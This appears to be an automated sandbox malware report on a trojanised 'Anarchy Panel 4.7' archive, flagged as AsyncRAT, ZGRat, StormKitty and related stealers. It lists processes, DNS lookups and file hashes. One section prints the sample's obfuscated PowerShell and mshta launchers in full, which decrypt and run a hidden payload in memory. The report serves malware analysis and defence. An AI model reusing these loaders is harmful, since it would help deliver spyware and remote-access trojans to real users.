Malware Analysis Report

2024-10-19 06:53

Sample ID 231126-tmhlzaad23
Target Anarchy Panel 4.7.zip
SHA256 58ee8da1d2bd0961e4d61868fbc2bb8e05c23211af585a01137e92708a7acb18
Tags
rat asyncrat stormkitty stealerium zgrat quasar v3.0.0 | slave spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral17

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral21

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral10

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral15

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral29

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral9

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral31

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral18

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral22

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral24

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral16

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral19

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral27

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral28

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral12

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral14

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral25

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral26

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral32

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral23

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral13

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral20

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral30

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral11

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

58ee8da1d2bd0961e4d61868fbc2bb8e05c23211af585a01137e92708a7acb18

Threat Level: Known bad

The file Anarchy Panel 4.7.zip was found to be: Known bad.

Malicious Activity Summary

rat asyncrat stormkitty stealerium zgrat quasar v3.0.0 | slave spyware trojan

Quasar payload

ZGRat

Stormkitty family

Quasar RAT

Asyncrat family

Stealerium family

Async RAT payload

StormKitty payload

Detect ZGRat V1

AsyncRat

Async RAT payload

Checks computer location settings

Loads dropped DLL

Executes dropped EXE

.NET Reactor proctector

Drops file in System32 directory

Drops file in Windows directory

Unsigned PE

Enumerates physical storage devices

Suspicious use of SendNotifyMessage

Suspicious use of FindShellTrayWindow

Uses Task Scheduler COM API

Suspicious use of SetWindowsHookEx

Modifies registry class

Suspicious behavior: EnumeratesProcesses

Checks processor information in registry

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-26 16:10

Signatures

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Asyncrat family

asyncrat

Stealerium family

stealerium

StormKitty payload

Description Indicator Process Target
N/A N/A N/A N/A

Stormkitty family

stormkitty

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral17

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win7-20231023-en

Max time kernel

119s

Max time network

127s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\KNTmoSnG.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\KNTmoSnG.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral21

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win7-20231023-en

Max time kernel

121s

Max time network

129s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\RssCnLKcGRxj.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\RssCnLKcGRxj.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:16

Platform

win10v2004-20231020-en

Max time kernel

9s

Max time network

53s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Anarchy Panel.exe"

Signatures

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

ZGRat

rat zgrat

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Enumerates physical storage devices

Processes

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Anarchy Panel.exe

"C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Anarchy Panel.exe"

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

"C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\svchost.bat" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function ZSHdk($KarSC){ $ZfCFn=[System.Security.Cryptography.Aes]::Create(); $ZfCFn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ZfCFn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ZfCFn.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('KtZKjEms98+Uz3JdAwXifcpceQe4mGFCZZetPfWLjV8='); $ZfCFn.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('XxhTpYt8KLdLDSpO7hDOxw=='); $tlguC=$ZfCFn.CreateDecryptor(); $return_var=$tlguC.TransformFinalBlock($KarSC, 0, $KarSC.Length); $tlguC.Dispose(); $ZfCFn.Dispose(); $return_var;}function CaoMW($KarSC){ $tLaFs=New-Object System.IO.MemoryStream(,$KarSC); $lDGtw=New-Object System.IO.MemoryStream; Invoke-Expression '$ixeoS #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$tLaFs,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $ixeoS.CopyTo($lDGtw); $ixeoS.Dispose(); $tLaFs.Dispose(); $lDGtw.Dispose(); $lDGtw.ToArray();}function akbWW($KarSC,$vyQOD){ $xXjIa = @( '$qtafy = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$KarSC);', '$FBuAc = $qtafy.EntryPoint;', '$FBuAc.Invoke($null, $vyQOD);' ); foreach ($eBUTc in $xXjIa) { Invoke-Expression $eBUTc };}$QCWfW=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\svchost.bat').Split([Environment]::NewLine);foreach ($hgEiC in $QCWfW) { if ($hgEiC.StartsWith('SEROXEN')) { $GFlqW=$hgEiC.Substring(7); break; }}$llOQb=CaoMW (ZSHdk ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($GFlqW)));akbWW $llOQb (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\svchost.bat')); "

C:\Windows\$sxr-mshta.exe

C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-TwfkFnoyLGWlxhzmArsw4312:WkABOEMU=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"

C:\Windows\$sxr-cmd.exe

"C:\Windows\$sxr-cmd.exe" /c %$sxr-TwfkFnoyLGWlxhzmArsw4312:WkABOEMU=%

C:\Windows\$sxr-powershell.exe

C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function ASDgm($hbtlH){ $jvCLB=[System.Security.Cryptography.Aes]::Create(); $jvCLB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $jvCLB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $jvCLB.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('blz4wP7NQ0z9G5HU5qt1rBXWDUDwhPjk4R14Im6s+lY='); $jvCLB.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('tyHaD0iUmC1atKVX/rbjZw=='); $bkHaC=$jvCLB.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $KdWyo=$bkHaC.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($hbtlH, 0, $hbtlH.Length); $bkHaC.Dispose(); $jvCLB.Dispose(); $KdWyo;}function cHftl($hbtlH){ $ZLGfO=New-Object System.IO.MemoryStream(,$hbtlH); $pEGfA=New-Object System.IO.MemoryStream; Invoke-Expression '$YNTor @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$ZLGfO,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $YNTor.CopyTo($pEGfA); $YNTor.Dispose(); $ZLGfO.Dispose(); $pEGfA.Dispose(); $pEGfA.ToArray();}function cDPce($hbtlH){ $KdWyo = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($hbtlH); $KdWyo = ASDgm($KdWyo); $KdWyo = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($KdWyo); return $KdWyo;}function execute_function($hbtlH,$HyIWf){ $wMvLZ = @( '$gbejj = [System.Reflection.Assembly]::Load([byte[]]$hbtlH);', '$nYAXe = $gbejj.EntryPoint;', '$nYAXe.Invoke($null, $HyIWf);' ); foreach ($XGPPP in $wMvLZ) { Invoke-Expression $XGPPP };}$WwewB = cDPce('6jh9/JwNM6P3zg5yY8XZBg==');$pAwEN = cDPce('ZViCuth6vUsFE5+msWnrZo/mOl8APvimIOP0OBotRXY=');$EiozW = cDPce('e/do7iEa4WyK+N/slo150A==');$xMYjW = cDPce('0AZpRDqOSBwoRnb0ckOSHA==');if (@(get-process -ea silentlycontinue $xMYjW).count -gt 1) {exit};$AmhAI = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($WwewB).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($pAwEN);$lPNsi=cHftl (ASDgm ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($AmhAI)));execute_function $lPNsi (,[string[]] ($EiozW)); "

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 209.78.101.95.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 112.208.253.8.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp

Files

memory/2556-0-0x00007FFB3B990000-0x00007FFB3C451000-memory.dmp

memory/2556-1-0x00000000007C0000-0x000000000418C000-memory.dmp

memory/2556-2-0x0000000006CE0000-0x0000000006CF0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

MD5 03a9b13f688b71cb9000de27245ab1ca
SHA1 3ab871551a731166c74c6d4be595dfaaefc26cb3
SHA256 aff5e028e6b17bb60274fc81fc8e9b663a049150a19db6fc07ffbda5cb86edce
SHA512 4ea5d3b2b4b0849c84dad1b5c1a79c6f548a91b249e1681eb83f3229666b9389886a4e073c98556a89c91c2ab93739afebdff2a4d815c62efffbe5216820a174

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

MD5 9f98dfa9c4b041b8dd9d2f9c6f5aa204
SHA1 360b4dafc99be4694578dc261381ac1b425a031a
SHA256 87afb748f4283e82a48c222cf4ce7a606f1da50bb96b2d8d746400156e6b9931
SHA512 66c55751969f28a42d6515e36fd1f54f23ad626ad0279da3a86fa9fdc46c96740c3429c0c52a6d3b93fbe5e9077390c97c4dc3c435bac98a3ab78fb6747fe14f

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

MD5 bb27d6dae194a741ab35d8788f35dfd8
SHA1 68e07cc8b30a89c091e4f5faf946756f9926758e
SHA256 4676fc6e30e0ddf1bf46eb866d1a089bbd04e46c13be4403a50c69cae898e875
SHA512 e3895f3b4114dd12cd2424c06865f556f863966ef513af49e2c9b8dd0c8a58429ed2642a7066e5a2ada22b96be096a130022562a930030a71105f59ba5ac2641

memory/2708-11-0x00007FFB3B990000-0x00007FFB3C451000-memory.dmp

memory/2556-16-0x00007FFB3B990000-0x00007FFB3C451000-memory.dmp

memory/2708-17-0x0000000000460000-0x0000000003AFE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\svchost.bat

MD5 2892f2caa15e37c12faea09c6bb5a44a
SHA1 8f401732b8a3a8b1022ef52836a4e7eac604146a
SHA256 c5ece24bcd43419cf718605925b565c17bc668ab7d3801a1d923465b15bd9f1f
SHA512 35abceb95d61ba4bfb6facc9559fe4d2db3eec9810bff4230c697864e0bd37e58ec1c1d817a766cfc07b12bed0dfedecfab01179f7295d1118347ba432ee996d

memory/2708-19-0x000000001E900000-0x000000001E910000-memory.dmp

memory/2708-20-0x0000000004180000-0x0000000004181000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pvppyd0g.1vo.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3532-32-0x0000019EEE910000-0x0000019EEE932000-memory.dmp

memory/3532-33-0x0000019EEE7D0000-0x0000019EEE7E0000-memory.dmp

memory/3532-22-0x0000019EEE7D0000-0x0000019EEE7E0000-memory.dmp

memory/3532-21-0x00007FFB3B990000-0x00007FFB3C451000-memory.dmp

memory/3532-34-0x0000019EEE7D0000-0x0000019EEE7E0000-memory.dmp

memory/3532-36-0x0000019EEF340000-0x0000019EEF384000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Costura\C5730A4C0FDD612A5678E51A536CE09E\64\sqlite.interop.dll

MD5 56a504a34d2cfbfc7eaa2b68e34af8ad
SHA1 426b48b0f3b691e3bb29f465aed9b936f29fc8cc
SHA256 9309fb2a3f326d0f2cc3f2ab837cfd02e4f8cb6b923b3b2be265591fd38f4961
SHA512 170c3645083d869e2368ee16325d7edaeba2d8f1d3d4a6a1054cfdd8616e03073772eeae30c8f79a93173825f83891e7b0e4fd89ef416808359f715a641747d7

memory/3532-41-0x0000019EEF770000-0x0000019EEF7E6000-memory.dmp

memory/2708-42-0x0000000004200000-0x0000000004212000-memory.dmp

memory/2708-43-0x000000001ED70000-0x000000001F358000-memory.dmp

memory/2708-44-0x000000001F360000-0x000000001F720000-memory.dmp

memory/2708-45-0x000000001E900000-0x000000001E910000-memory.dmp

memory/2708-47-0x000000001E900000-0x000000001E910000-memory.dmp

memory/2708-46-0x000000001E900000-0x000000001E910000-memory.dmp

memory/3532-48-0x0000019EEF7F0000-0x0000019EF0088000-memory.dmp

memory/3532-50-0x00007FFB59F30000-0x00007FFB5A125000-memory.dmp

memory/3532-49-0x00007FFB59C60000-0x00007FFB59D1E000-memory.dmp

memory/2708-51-0x00007FFB3B990000-0x00007FFB3C451000-memory.dmp

memory/2708-53-0x000000001E900000-0x000000001E910000-memory.dmp

memory/3532-55-0x00007FFB59F30000-0x00007FFB5A125000-memory.dmp

memory/3532-54-0x00007FFB3B990000-0x00007FFB3C451000-memory.dmp

memory/3532-56-0x00007FFB59F30000-0x00007FFB5A125000-memory.dmp

memory/3532-57-0x0000019EF0450000-0x0000019EF0F1A000-memory.dmp

memory/3532-58-0x0000019EF0F20000-0x0000019EF0FBA000-memory.dmp

memory/3532-60-0x0000019EF0FC0000-0x0000019EF1018000-memory.dmp

memory/3532-61-0x0000019EEF300000-0x0000019EEF32E000-memory.dmp

memory/3532-59-0x0000019EEF6F0000-0x0000019EEF742000-memory.dmp

memory/3532-63-0x0000019EEE7D0000-0x0000019EEE7E0000-memory.dmp

memory/3532-62-0x0000019EEE7D0000-0x0000019EEE7E0000-memory.dmp

memory/3532-70-0x0000019EEE7D0000-0x0000019EEE7E0000-memory.dmp

memory/3532-71-0x0000019ED6580000-0x0000019ED6588000-memory.dmp

memory/3532-72-0x0000000180000000-0x0000000180009000-memory.dmp

C:\Windows\$sxr-mshta.exe

MD5 0b4340ed812dc82ce636c00fa5c9bef2
SHA1 51c97ebe601ef079b16bcd87af827b0be5283d96
SHA256 dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512 d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

memory/2708-78-0x000000001E900000-0x000000001E910000-memory.dmp

C:\Windows\$sxr-mshta.exe

MD5 0b4340ed812dc82ce636c00fa5c9bef2
SHA1 51c97ebe601ef079b16bcd87af827b0be5283d96
SHA256 dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512 d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

C:\Windows\$sxr-cmd.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Windows\$sxr-cmd.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

memory/2708-84-0x000000001E900000-0x000000001E910000-memory.dmp

C:\Windows\$sxr-powershell.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

memory/3916-85-0x00007FFB3B990000-0x00007FFB3C451000-memory.dmp

memory/2708-87-0x000000001E900000-0x000000001E910000-memory.dmp

memory/2708-86-0x000000001E900000-0x000000001E910000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

memory/3916-98-0x00000224FC4C0000-0x00000224FCAD0000-memory.dmp

memory/3916-100-0x00007FFB59F30000-0x00007FFB5A125000-memory.dmp

memory/3916-99-0x00007FFB59C60000-0x00007FFB59D1E000-memory.dmp

memory/3532-101-0x00007FFB59F30000-0x00007FFB5A125000-memory.dmp

memory/3916-103-0x00007FFB59F30000-0x00007FFB5A125000-memory.dmp

memory/3532-102-0x00007FFB59F30000-0x00007FFB5A125000-memory.dmp

memory/3916-104-0x00007FFB59F30000-0x00007FFB5A125000-memory.dmp

memory/3916-105-0x00000224FCDD0000-0x00000224FD38E000-memory.dmp

memory/3916-106-0x00000224FD390000-0x00000224FDB8A000-memory.dmp

memory/3916-109-0x00000224FDB90000-0x00000224FDFFC000-memory.dmp

memory/3916-110-0x00000224FE000000-0x00000224FE0B2000-memory.dmp

memory/3916-111-0x00000224FE0B0000-0x00000224FE19C000-memory.dmp

memory/3532-113-0x00007FFB59F30000-0x00007FFB5A125000-memory.dmp

memory/3532-112-0x00007FFB3B990000-0x00007FFB3C451000-memory.dmp

memory/3916-114-0x00000224FE1A0000-0x00000224FE266000-memory.dmp

memory/3916-119-0x0000000180000000-0x0000000180009000-memory.dmp

memory/624-122-0x0000012E5A2E0000-0x0000012E5A380000-memory.dmp

memory/624-123-0x00007FFB19FB0000-0x00007FFB19FC0000-memory.dmp

memory/3916-125-0x00007FFB3B990000-0x00007FFB3C451000-memory.dmp

memory/624-129-0x00007FFB59FCD000-0x00007FFB59FCE000-memory.dmp

memory/624-128-0x0000012E5A380000-0x0000012E5A426000-memory.dmp

memory/956-135-0x00007FFB19FB0000-0x00007FFB19FC0000-memory.dmp

memory/956-136-0x000002A950AB0000-0x000002A950B56000-memory.dmp

memory/332-141-0x00007FFB19FB0000-0x00007FFB19FC0000-memory.dmp

memory/332-143-0x0000029778110000-0x00000297781B6000-memory.dmp

memory/524-145-0x00007FFB19FB0000-0x00007FFB19FC0000-memory.dmp

memory/3916-139-0x00000224DADE0000-0x00000224DADF0000-memory.dmp

memory/864-149-0x00007FFB19FB0000-0x00007FFB19FC0000-memory.dmp

memory/956-138-0x00007FFB59FCC000-0x00007FFB59FCD000-memory.dmp

memory/1040-152-0x00007FFB19FB0000-0x00007FFB19FC0000-memory.dmp

memory/1048-158-0x00007FFB19FB0000-0x00007FFB19FC0000-memory.dmp

memory/1168-162-0x00007FFB19FB0000-0x00007FFB19FC0000-memory.dmp

memory/3916-134-0x00000224DADE0000-0x00000224DADF0000-memory.dmp

memory/1224-167-0x00007FFB19FB0000-0x00007FFB19FC0000-memory.dmp

memory/3916-133-0x00000224DADE0000-0x00000224DADF0000-memory.dmp

memory/684-132-0x000002390CB40000-0x000002390CBE6000-memory.dmp

memory/684-127-0x00007FFB19FB0000-0x00007FFB19FC0000-memory.dmp

memory/1248-172-0x00007FFB19FB0000-0x00007FFB19FC0000-memory.dmp

memory/1316-177-0x00007FFB19FB0000-0x00007FFB19FC0000-memory.dmp

memory/1376-181-0x00007FFB19FB0000-0x00007FFB19FC0000-memory.dmp

memory/1384-184-0x00007FFB19FB0000-0x00007FFB19FC0000-memory.dmp

memory/1416-190-0x00007FFB19FB0000-0x00007FFB19FC0000-memory.dmp

memory/1440-196-0x00007FFB19FB0000-0x00007FFB19FC0000-memory.dmp

Analysis: behavioral10

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:16

Platform

win10v2004-20231023-en

Max time kernel

131s

Max time network

164s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\CjETR6GpGXqM.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\CjETR6GpGXqM.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 209.78.101.95.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 74.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 254.22.238.8.in-addr.arpa udp
US 8.8.8.8:53 126.178.238.8.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 170.117.168.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral15

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:16

Platform

win7-20231020-en

Max time kernel

118s

Max time network

125s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\G3nl0mDcABnDuZ.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\G3nl0mDcABnDuZ.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral29

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win7-20231023-en

Max time kernel

120s

Max time network

127s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\mGWHaG2Jn.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\mGWHaG2Jn.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral3

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:16

Platform

win7-20231020-en

Max time kernel

123s

Max time network

125s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Anarchy Panel.exe"

Signatures

AsyncRat

rat asyncrat

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
